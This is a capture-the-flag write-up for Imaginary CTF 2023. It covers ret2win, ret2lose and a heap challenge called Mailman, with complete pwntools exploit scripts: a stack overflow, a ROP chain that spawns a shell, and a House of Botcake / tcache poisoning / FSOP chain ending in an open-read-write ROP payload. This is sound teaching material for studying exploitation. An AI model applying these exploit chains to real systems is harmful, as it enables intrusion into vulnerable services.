Home Imaginary CTF 2023
Post
Cancel

Imaginary CTF 2023

Introduction

This week I participated in Imaginary CTF from InfoSecIITR. I managed to solve 3 pwn challenges and 1 forensics challenge which was also related to pwning. Also i was very close to solving the fourth pwning challenge as well.

Ret2win

1
2
3
Description

Can you overflow the buffer and get the flag? (Hint: if your exploit isn't working on the remote server, look into stack alignment)

This is a simple ret2win challenge. The source code of the challenge is as follows.

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
#include <unistd.h>

int main() {
  char buf[64];
  gets(buf);
}

int win() {
  system("cat flag.txt");
}

Additionally if we run checksec command we get the following results.

1
2
3
4
5
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Thus we can exploit the buffer overflow in the gets function to do the ret2win. If you don’t have any idea on how to do simple ret2win then I would recommend you to go through my playlist on Introduction to pwnning

The exploit is as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
# p = elf.process()
p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

# gdb.attach(p,'''
#     init-gef
#     c           
# ''')

p.sendline(b"a"*72 + p64(0x000000000040101a) + p64(elf.sym.win))

p.interactive()

Ret2lose

1
2
3
Description

You overflowed the buffer and got the flag... but can you get my other flag? (Remote and binary are the same as in the challenge ret2win, but you have to get a shell this time)

This challenge has the exact same binary as the above challenge but in this time we have to get remote shell.

On the first glance this looks like a simple ret2libc challenge in which we can leak the libc address using the GOT entries but its not so simple. If we try to find the ROPgadgets in the binary we find that the pop rdi ; ret gadget in missing. This we cannot get a libc leak directly.

Exploitation Vector

While messing around which the challenge binary I found that if we call the gets function, it stores the input somewhere in the libc. Interestingly this input is also present in the rdi register and thus we can control the rdi register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = elf.process()
# p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

gdb.attach(p,'''
    init-gef
    c  
''')

payload = b"a"*72 + p64(elf.plt.gets)
p.sendline(payload)

p.sendline(b"b"*8)

p.interactive()
───────────────────────────────────────────────────────────────── registers ────
$rax   : 0x007f1646c1ba80  →  "bbbbabbb"
$rbx   : 0x0               
$rcx   : 0x007f1646c19aa0  →  0x00000000fbad2088
$rdx   : 0x62626261        
$rsp   : 0x007fff6410dda80x00000000401156<main+0> endbr64 
$rbp   : 0x6161616161616161 ("aaaaaaaa"?)
$rsi   : 0x62626262        
$rdi   : 0x007f1646c1ba80  →  "bbbbabbb"
$rip   : 0x0               
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x77              
$r11   : 0x246             
$r12   : 0x007fff6410dea80x007fff6410f188"/media/sf_E_DRIVE/CTFs/ImaginaryCTF23/ret2lose/vul[...]"
$r13   : 0x00000000401156<main+0> endbr64 
$r14   : 0x00000000403e180x00000000401120<__do_global_dtors_aux+0> endbr64 
$r15   : 0x007f1646d5b040  →  0x007f1646d5c2e0  →  0x0000000000000000
$eflags: [zero carry parity ADJUST sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 

Here as we can see the 5th character is one smaller than the sent input. I assume that it might be due to some flag variable present. Now that we have rdi control we can just call system with /bin/sh as argument in the rdi register.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = elf.process()
p = remote(b"ret2win.chal.imaginaryctf.org", 1337)

# gdb.attach(p,'''
#     init-gef
#     b *0x0000000000401050
#     c  
# ''')

# print(elf.sym)

payload = b"a"*72 + p64(elf.plt.gets) + p64(elf.plt.system)
p.sendline(payload)

p.sendline(b"/bin0sh\x00")

p.interactive()
[+] Opening connection to b'ret2win.chal.imaginaryctf.org' on port 1337: Done
[*] Switching to interactive mode
== proof-of-work: disabled ==
$ ls
chal
flag.txt
the_other_flag_that_you_must_get_a_shell_to_find_8e46414287280e86e0576f0525b7ead0c0780c91.txt
$ cat the_other_flag_that_you_must_get_a_shell_to_find_8e46414287280e86e0576f0525b7ead0c0780c91.txt
ictf{ret2libc?_what_libc?}

Mailman

1
2
3
4
5
Description

I'm sure that my post office is 100% secure! It uses some of the latest software, unlike some of the other post offices out there...

Flag is in ./flag.txt.

In this challenge we are give a binary. When we decompile it, we get the following result:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char **v3; // rax
  int choice; // [rsp+Ch] [rbp-24h] BYREF
  size_t size; // [rsp+10h] [rbp-20h] BYREF
  __int64 v6; // [rsp+18h] [rbp-18h]
  __int64 v7; // [rsp+20h] [rbp-10h]
  unsigned __int64 v8; // [rsp+28h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  v6 = seccomp_init(0LL, argv, envp);
  seccomp_rule_add(v6, 2147418112LL, 2LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 0LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 1LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 5LL, 0LL);
  seccomp_rule_add(v6, 2147418112LL, 60LL, 0LL);
  seccomp_load(v6);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  puts("Welcome to the post office.");
  puts("Enter your choice below:");
  puts("1. Write a letter");
  puts("2. Send a letter");
  puts("3. Read a letter");
  while ( 1 )
  {
    while ( 1 )
    {
      printf("> ");
      __isoc99_scanf("%d%*c", &choice);
      if ( choice != 3 )
        break;
      v7 = inidx();
      puts((const char *)(&mem)[v7]);
    }
    if ( choice > 3 )
      break;
    if ( choice == 1 )
    {
      v7 = inidx();
      printf("letter size: ");
      __isoc99_scanf("%lu%*c", &size);
      v3 = (char **)malloc(size);
      (&mem)[v7] = v3;
      printf("content: ");
      fgets((char *)(&mem)[v7], size, stdin);
    }
    else
    {
      if ( choice != 2 )
        break;
      v7 = inidx();
      free((&mem)[v7]);
    }
  }
  puts("Invalid choice!");
  _exit(0);
}

As we can see, initially we are enabling the open, read, write and exit syscalls using seccomp. In this challenge we are storing the heap chunk pointers in the mem array. We can allocate upto 16 pointers in the mem. In this challenge we can only allocate, read and delete the heap chunks.

Exploitation Vector

In this challenge, when we free the chunk the pointer to the chunk is not set to NULL. Thus this is a direct case of UAF. But here we dont have edit premative thus we need to find some other way.

House Of Botcake is the one of the ways in which we can exploit the challenge. In House of botcake we first fill the tcache with chunks and free a chunk in the unsorted bin. We then create a new chunk in order to move the freed chunk from unsorted bin into the tcache. Then we again free the chunk in the tcache. This will cause a double free. A sample of this exploit technique can be found here.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
rom pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = remote("mailman.chal.imaginaryctf.org", 1337)
# p = elf.process()
libc = elf.libc

# gdb.attach(p,'''
#     init-gef
#     c
# ''')
           
def defuscate(x,l=64):
    a = 0
    for i in range(l*4,0,-4): # 16 nibble
        v1 = (x & (0xf << i )) >> i
        v2 = (a & (0xf << i+12 )) >> i+12
        a |= (v1 ^ v2) << i
    return a

def obfuscate(x, adr):
    return x^(adr>>12)

def write_letter(index,size,content):
    p.sendlineafter(b">",b"1")
    p.sendlineafter(b"idx:",str(index).encode())
    p.sendlineafter(b"size:",str(size).encode())
    p.sendlineafter(b"content",content)

def send_letter(index):
    p.sendlineafter(b">",b"2")
    p.sendlineafter(b"idx:",str(index).encode())

def read_letter(index):
    p.sendlineafter(b">",b"3")
    p.sendlineafter(b"idx:",str(index).encode())
    return(p.recvline()[1:-1])

for i in range(7):
    write_letter(i,0x100,b"a"*8)  # tcache chunks
write_letter(8,0x100,b"prev"*8)   # prev chunk
write_letter(9,0x100,b"c"*8)      # actual chunk
write_letter(10,0x90,b"d"*8)      # guard chunk
for i in range(7):
    send_letter(i)
send_letter(9)
send_letter(8)
write_letter(10,0x100,b'a'*8)
send_letter(9)                    # trigger double free
heap_leak = defuscate(u64(read_letter(1).ljust(8,b"\x00")))
libc.address = u64(read_letter(8).ljust(8,b"\x00")) - 0x219ce0
log.critical(f"libc base: {hex(libc.address)}")
log.critical(f"heap leak: {hex(heap_leak)}")

p.interactive()

Thus we can create overlapping chunks in order to do tcache poisoning. To do that we will first allocate a chunk of size 0x110 and then overwrite the linked list of tcache. Thus we have arbitrary write. The given version of libc is 2.35 this is does not have __malloc_hook or __free_hook. Thus we need to write shellcode on the stack and get the flag. In this case we can use FSOP to get the stack leak from environ.

This writeup is a great source of learning FSOP. Basically we try to write to the _IO_2_1_stdout_ stream in order to read any arbitrary address we want. To do that we have to write the following data:

1
2
3
fp->_flags = (fp->_flags & ~(_IO_NO_WRITES)) | _IO_CURRENTLY_PUTTING | _IO_IS_APPENDING.
f->_IO_write_ptr = fp->_IO_write_end = f->_IO_buf_end = &environ + 8.
fp->_IO_write_base = &environ.

The exploit will be as follows.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = remote("mailman.chal.imaginaryctf.org", 1337)
# p = elf.process()
libc = elf.libc

# gdb.attach(p,'''
#     init-gef
#     c
# ''')
           
def defuscate(x,l=64):
    a = 0
    for i in range(l*4,0,-4): # 16 nibble
        v1 = (x & (0xf << i )) >> i
        v2 = (a & (0xf << i+12 )) >> i+12
        a |= (v1 ^ v2) << i
    return a

def obfuscate(x, adr):
    return x^(adr>>12)

def write_letter(index,size,content):
    p.sendlineafter(b">",b"1")
    p.sendlineafter(b"idx:",str(index).encode())
    p.sendlineafter(b"size:",str(size).encode())
    p.sendlineafter(b"content",content)

def send_letter(index):
    p.sendlineafter(b">",b"2")
    p.sendlineafter(b"idx:",str(index).encode())

def read_letter(index):
    p.sendlineafter(b">",b"3")
    p.sendlineafter(b"idx:",str(index).encode())
    return(p.recvline()[1:-1])

for i in range(7):
    write_letter(i,0x100,b"a"*8)
write_letter(8,0x100,b"prev"*8)
write_letter(9,0x100,b"c"*8)
write_letter(10,0x90,b"d"*8)
for i in range(7):
    send_letter(i)
send_letter(9)
send_letter(8)
write_letter(10,0x100,b'a'*8)
send_letter(9)
heap_leak = defuscate(u64(read_letter(1).ljust(8,b"\x00")))
libc.address = u64(read_letter(8).ljust(8,b"\x00")) - 0x219ce0
log.critical(f"libc base: {hex(libc.address)}")
log.critical(f"heap leak: {hex(heap_leak)}")

write_letter(1,0x130,b"a"*0x108 + p64(0x111) + p64(obfuscate(libc.sym._IO_2_1_stdout_,heap_leak+0x880)))
write_letter(2,0x100,b"a"*8)
environ = libc.sym.environ
payload = p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8) + p64(0x0)*3
write_letter(3,0x100,payload)
stack_leak = u64(p.recvuntil(b"\x00\x00")[2:].ljust(8,b"\x00"))
log.critical(f"stack leak: {hex(stack_leak)}")
log.critical(f"rip : {hex(stack_leak-0x168)}")

p.interactive()

To write the shellcode we will then find the rip value and allocate a chunk accordingly so that we can execute shellcode. In my case I was facing some issue allocating chunk to the corresponding rip value. Thus I allocated the chunk little before the rip and then overwrote the rip with shellcode.

Here is the complete exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = remote("mailman.chal.imaginaryctf.org", 1337)
# p = elf.process()
libc = elf.libc

# gdb.attach(p,'''
#     init-gef
#     c
# ''')
           
def defuscate(x,l=64):
    a = 0
    for i in range(l*4,0,-4): # 16 nibble
        v1 = (x & (0xf << i )) >> i
        v2 = (a & (0xf << i+12 )) >> i+12
        a |= (v1 ^ v2) << i
    return a

def obfuscate(x, adr):
    return x^(adr>>12)

def write_letter(index,size,content):
    p.sendlineafter(b">",b"1")
    p.sendlineafter(b"idx:",str(index).encode())
    p.sendlineafter(b"size:",str(size).encode())
    p.sendlineafter(b"content",content)

def send_letter(index):
    p.sendlineafter(b">",b"2")
    p.sendlineafter(b"idx:",str(index).encode())

def read_letter(index):
    p.sendlineafter(b">",b"3")
    p.sendlineafter(b"idx:",str(index).encode())
    return(p.recvline()[1:-1])

for i in range(7):
    write_letter(i,0x100,b"a"*8)
write_letter(8,0x100,b"prev"*8)
write_letter(9,0x100,b"c"*8)
write_letter(10,0x90,b"d"*8)
for i in range(7):
    send_letter(i)
send_letter(9)
send_letter(8)
write_letter(10,0x100,b'a'*8)
send_letter(9)
heap_leak = defuscate(u64(read_letter(1).ljust(8,b"\x00")))
libc.address = u64(read_letter(8).ljust(8,b"\x00")) - 0x219ce0
log.critical(f"libc base: {hex(libc.address)}")
log.critical(f"heap leak: {hex(heap_leak)}")

write_letter(1,0x130,b"a"*0x108 + p64(0x111) + p64(obfuscate(libc.sym._IO_2_1_stdout_,heap_leak+0x880)))
write_letter(2,0x100,b"a"*8)
environ = libc.sym.environ
payload = p32(0xfbad1800) + p32(0) + p64(environ)*3 + p64(environ) + p64(environ + 0x8)*2 + p64(environ + 8) + p64(environ + 8) + p64(0x0)*3
write_letter(3,0x100,payload)
stack_leak = u64(p.recvuntil(b"\x00\x00")[2:].ljust(8,b"\x00"))
log.critical(f"stack leak: {hex(stack_leak)}")
log.critical(f"rip : {hex(stack_leak-0x168)}")

send_letter(1)
send_letter(2)
write_letter(1,0x130,b"a"*0x108 + p64(0x111) + p64(obfuscate(stack_leak-0x188,heap_leak+0x880)))
write_letter(2,0x100,b"./flag.txt\x00")
# pause()

flag = heap_leak + 0x880
flag_buffer = heap_leak + 0x8e4
print(hex(flag))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rax = libc.address + 0x0000000000045eb0
pop_rdx_r12 = libc.address + 0x000000000011f497
syscall = libc.address + 0x0000000000091396
payload = b"a"*40 + p64(pop_rdi) + p64(flag) + p64(pop_rax) + p64(0x2) + p64(pop_rsi) + p64(0x0) + p64(syscall) 
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag + 100) + p64(pop_rdx_r12) + p64(0x100) + p64(0x0) + p64(libc.sym.read)
payload += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) +  p64(flag_buffer) + p64(pop_rdx_r12) + p64(0x100) + p64(0x0) + p64(syscall)
# payload += p64(0xdeadbeef)
write_letter(3,0x100,payload)
# _IO_FILE

p.interactive()
This post is licensed under CC BY 4.0 by the author.